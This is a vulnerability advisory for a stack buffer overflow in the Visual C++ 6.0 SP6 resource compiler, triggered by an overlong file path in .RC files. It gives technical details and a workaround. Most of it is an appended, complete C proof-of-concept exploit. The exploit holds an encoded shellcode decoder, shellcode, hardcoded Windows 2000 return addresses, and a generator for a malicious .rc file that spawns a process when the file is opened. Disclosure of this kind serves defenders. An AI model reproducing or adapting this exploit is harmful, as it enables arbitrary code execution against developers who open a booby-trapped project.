Microsoft Visual C++ (.RC) resource files buffer overflow vulnerability
Advisory:
////////////
Microsoft Visual C++ 6.0 is prone to stack based memory corruption vulnerability
during processing .RC resource files, caused by the lack of input data boundary
check.
Vulnerable software:
////////////////////
Microsoft Visual Studio 6.0 SP6
Impact:
///////
Remote code execution
Attack vector:
//////////////
An attacker must construct malformed .RC file and induce victim to
open it either as a part of attacker provided Visual Studio project
or as a standalone resource file component.
Technical Details:
//////////////////
The stack based buffer overflow occurs in Microsoft Visual C++
MSDEV.EXE process within the resource compiler RCDLL.DLL module
while processing .rc resource files.
The problem lies in bad processing of the file name fields.
In the followinig example:
1 TYPELIB MOVEABLE PURE "FilePath01"
the FilePath01 string, if too long, will cause stack based overflow.
It is caused by the file name parsing procedure within the resource compiler
DLL, which checks for the validity of the file path.
It also excludes all characters codes below 20h, plus codes 22h and 2fh, thus
the payload has to be limited by this ASCII pool.
The EIP overwrite value offset relative to the beginning of the payload
(FilePath01 string) is not constant and depends from the OS enviroment.
For the Windows 2000 ENG SP4 it is equal 224 bytes counting from the beggining
of the FilePath01 string.
Also it should be mentioned that when the length of the string exceeds 259
bytes
the resource compiler parsing procedure enters infinite loop,
writing the FilePath01 string repeatidly up to the top of the process stack
memory area,
then continues entering the heap area and destroying the process heap structure
and finally causes writing access violation exception.
Solution:
/////////
There is a quick solution to avoid potential malicious attempts of
this kind.
Before the resource compiler parsing procedure will cause the buffer overflow
through bad processing of the long file name string, it first monits user
with the message box that the file specified within
the .rc file does not exist.After either pressing OK or closing the message box
the stack corruption will occur.However if the user clicks EDIT, resource
compiler
will abort and the MSDEV.EXE process will continue without any exception.
Therefore any suspicious looking / unknown source project files matching
the above pattern may be verified that way, before the official vendor patch
is released.
Conclusion:
///////////
It must be considered that the attacks against the compilers are hard
to justify because it is often almost impossible for users to audit or even
understand every line of code in a project that they are ultimately going
to compile and execute anyway.
Therefore there is the same possibility for source code trojans and back doors
as for the file format buffer overflow driven attacks using malformed project
files.
Finally, the most reasonable way to avoid this kind of attacks is to
prevent from opening and running as well as compiling unknown source codes or
project files, including for example appended to this advisory Proof of Concept
exploit (.cpp) source file, which actually looks more than suspiciously to
me... ;-)
Credits:
////////
Vulnerability discovered and researched by: porkythepig
POC exploit by: porkythepig
email: porkythepig@xxxxxxxx
Exploit:
////////
Proof of Concept exploit has been appended to this report.
After compiled, it will produce .rc exploit file that should
spawn notepad process when opened in Microsoft Visual C++ 6.0 SP6.
Available exploit OS host enviroments are:
[1] Windows 2000 SP4 English
[2] Windows 2000 SP4 English with all the updates on 11.01.2007
It can be also found at:
www.anspi.pl/~porkythepig/visualization/rc-kupiekrowe.cpp
///////////////////////////////////////
//*****************
//
// Microsoft Visual C++ 6.0 SP6 resource compiler buffer overflow
// vulnerability .rc resource files exploit
//
// vulnerability found / exploit built by porkythepig
//
//*****************
#include "stdio.h"
#include "stdlib.h"
#include "memory.h"
#define STR01 "Microsoft Visual Studio 6.0 SP6 .rc PoC exploit by porkythepig"
#define DEF_SPAWNED_PROCESS "notepad.exe"
#define EXPL_SIZE 283
#define DEC_CODE 0xBC
#define DEC_CODE_OFFSET 0x2D
#define ENC_SIZE_OFFSET 0x3E
#define SHIFT 0x40
#define SHIFT_DEC_OFFSET 0x35
#define PROC_NAME_OFFSET 0x107
#define GETSTAR_OFFSET 0x11
#define CREPRO_OFFSET 0x6d
#define GETWINDIR_OFFSET 0x25
#define ESPSUB_OFFSET 0x08
#define FNAMSHIFT_OFFSET 0x02
typedef struct
{
unsigned int getStarInf;
unsigned int crePro;
unsigned int getWinDir;
unsigned int jmpEspPtr;
}ApiPtrs;
ApiPtrs osApiPtrs[2]=
{
0x7c4f49df,0x7c4fc0a0,0x7c4e9c00,0x782f28f7,
0x7c596b7a,0x7c595010,0x7c592d23,0x77e16280
};
unsigned char decoder[]=
{
0xeb,0x2a,0xeb,0x2a,0x8b,0xdc,0x81,0xc3,
0x40,0xff,0xff,0xff,0x8b,0xcb,0x33,0xd2,
0x8a,0x21,0x80,0xfc,0xbc,0x75,0xe9,0x41,
0x8a,0x21,0x80,0xec,0x40,0x88,0x23,0x43,
0x41,0x42,0x33,0xc0,0xb0,0x99,0x3b,0xd0,
0x7c,0xe6,0xeb,0xd6,0xeb,0xef
};
unsigned char shlCode[]=
{
0x83,0xc4,0x0c,0x8b,0xc4,0x8b,0xe6,0x90,
0x90,0x90,0x50,0x66,0x2d,0x10,0x20,0x50,
0xb8,0x7a,0x6b,0x59,0x7c,0xff,0xd0,0x5b,
0x53,0x33,0xc0,0xb0,0xff,0x50,0x66,0x81,
0xeb,0x10,0x30,0x53,0xb8,0x23,0x2d,0x59,
0x7c,0xff,0xd0,0x58,0x50,0x66,0x2d,0x10,
0x30,0x32,0xdb,0x38,0x18,0x74,0x03,0x40,
0xeb,0xf9,0x5b,0x53,0xb2,0xff,0xb1,0x5c,
0x88,0x08,0x40,0x38,0x13,0x74,0x08,0x8a,
0x0b,0x88,0x08,0x43,0x40,0xeb,0xf4,0xb2,
0x00,0x88,0x10,0x58,0x50,0x66,0x2d,0x10,
0x30,0x8b,0xd0,0x58,0x50,0x66,0x2d,0x10,
0x20,0x50,0x33,0xc9,0x51,0x51,0x51,0x51,
0x51,0x51,0x51,0x52,0xb8,0x10,0x50,0x59,
0x7c,0xff,0xd0,0xeb,0xfe
};
unsigned char jmp1Seq[]=
{
0xe9,0x2d,0xff,0xff,0xff
};
unsigned char jmp0Seq[]=
{
0xe9,0x28,0xff,0xff,0xff
};
unsigned char espSub0=0x4e;
unsigned char espSub1=0x5c;
unsigned char fnamShift0=0x0e;
unsigned char fnamShift1=0x1c;
unsigned char retOffset1=0xe7;
unsigned char retOffset0=0xf5;
unsigned char jmp1Offset=0xeb;
unsigned char jmp0Offset=0xf0;
unsigned short back3=0xf5eb;
unsigned char back3Offs=0xf9;
unsigned char buf0[EXPL_SIZE];
char *outName;
int osId;
int defProc;
unsigned char espSub;
unsigned char fnamShift;
unsigned char *jmpSeq;
unsigned char retOffset;
unsigned char jmpOffset;
int Encode(unsigned char *destBuf, unsigned char *srcBuf, int srcSize)
{
int cnt,c1;
for(cnt=0,c1=0;cnt<srcSize;cnt++)
{
if((srcBuf[cnt]<0x20)||(srcBuf[cnt]==0x22)||(srcBuf[cnt]==0x2f))
{
destBuf[c1]=DEC_CODE;
destBuf[c1+1]=srcBuf[cnt]+SHIFT;
c1+=2;
}
else
{
destBuf[c1]=srcBuf[cnt];
c1++;
}
}
return c1;
}
void CompileBuffer()
{
int ptr=0;
int encSiz;
memset(buf0,'1',EXPL_SIZE);
ptr+=sprintf((char*)buf0,"1 TYPELIB MOVEABLE PURE \"");
decoder[ESPSUB_OFFSET]=espSub;
memcpy(buf0+ptr,decoder,sizeof(decoder));
buf0[DEC_CODE_OFFSET]=DEC_CODE;
buf0[SHIFT_DEC_OFFSET]=SHIFT;
ptr+=sizeof(decoder);
*((unsigned int*)(shlCode+GETSTAR_OFFSET))=osApiPtrs[osId].getStarInf;
*((unsigned int*)(shlCode+CREPRO_OFFSET))=osApiPtrs[osId].crePro;
*((unsigned int*)(shlCode+GETWINDIR_OFFSET))=osApiPtrs[osId].getWinDir;
shlCode[FNAMSHIFT_OFFSET]=fnamShift;
encSiz=Encode(buf0+ptr,shlCode,sizeof(shlCode));
buf0[ENC_SIZE_OFFSET]=sizeof(shlCode);
sprintf((char*)(buf0+PROC_NAME_OFFSET),"%s\xff",DEF_SPAWNED_PROCESS);
buf0[PROC_NAME_OFFSET+sizeof(DEF_SPAWNED_PROCESS)]=0xff;
*((unsigned int*)(buf0+retOffset))=osApiPtrs[osId].jmpEspPtr;
memcpy(buf0+jmpOffset,jmpSeq,5);
if(osId==0)
{
*((unsigned short*)(buf0+back3Offs))=back3;
}
sprintf((char*)(buf0+EXPL_SIZE-3),"\"\r\n");
printf("Exploit buffer compiled\n");
}
void WriteBuffer()
{
FILE *o;
o=fopen(outName,"wb");
if(o==NULL)
{
printf("Cannot open file for writing\n");
exit(0);
}
fprintf(o,"//**********\r\n// %s\r\n//**********\r\n\r\n",STR01);
fwrite(buf0,EXPL_SIZE,1,o);
fclose(o);
printf("Output .rc file [ %s ] built successfully\n",outName);
}
void ProcessInput(int argc, char* argv[])
{
printf("\nMicrosoft Visual Studio 6 .rc resource files exploit\n");
printf("Vulnerability found & exploit built by porkythepig\n");
if(argc<3)
{
printf("Syntax: exploit.exe os outName\n");
printf("[os] host OS, possible choices:\n");
printf(" 0 Windows 2000 SP4 English\n");
printf(" 1 Windows 2000 SP4 English all updates
on day 11.01.2007\n");
printf("[outName] output .rc exploit file name\n");
exit(0);
}
osId=atol(argv[1]);
if((osId<0)||(osId>1))
{
exit(0);
}
if(osId==0)
{
espSub=espSub0;
fnamShift=fnamShift0;
jmpSeq=jmp0Seq;
jmpOffset=jmp0Offset;
retOffset=retOffset0;
}
else
{
espSub=espSub1;
fnamShift=fnamShift1;
jmpSeq=jmp1Seq;
jmpOffset=jmp1Offset;
retOffset=retOffset1;
}
outName=argv[2];
}
int main(int argc, char* argv[])
{
ProcessInput(argc,argv);
CompileBuffer();
WriteBuffer();
return 0;
}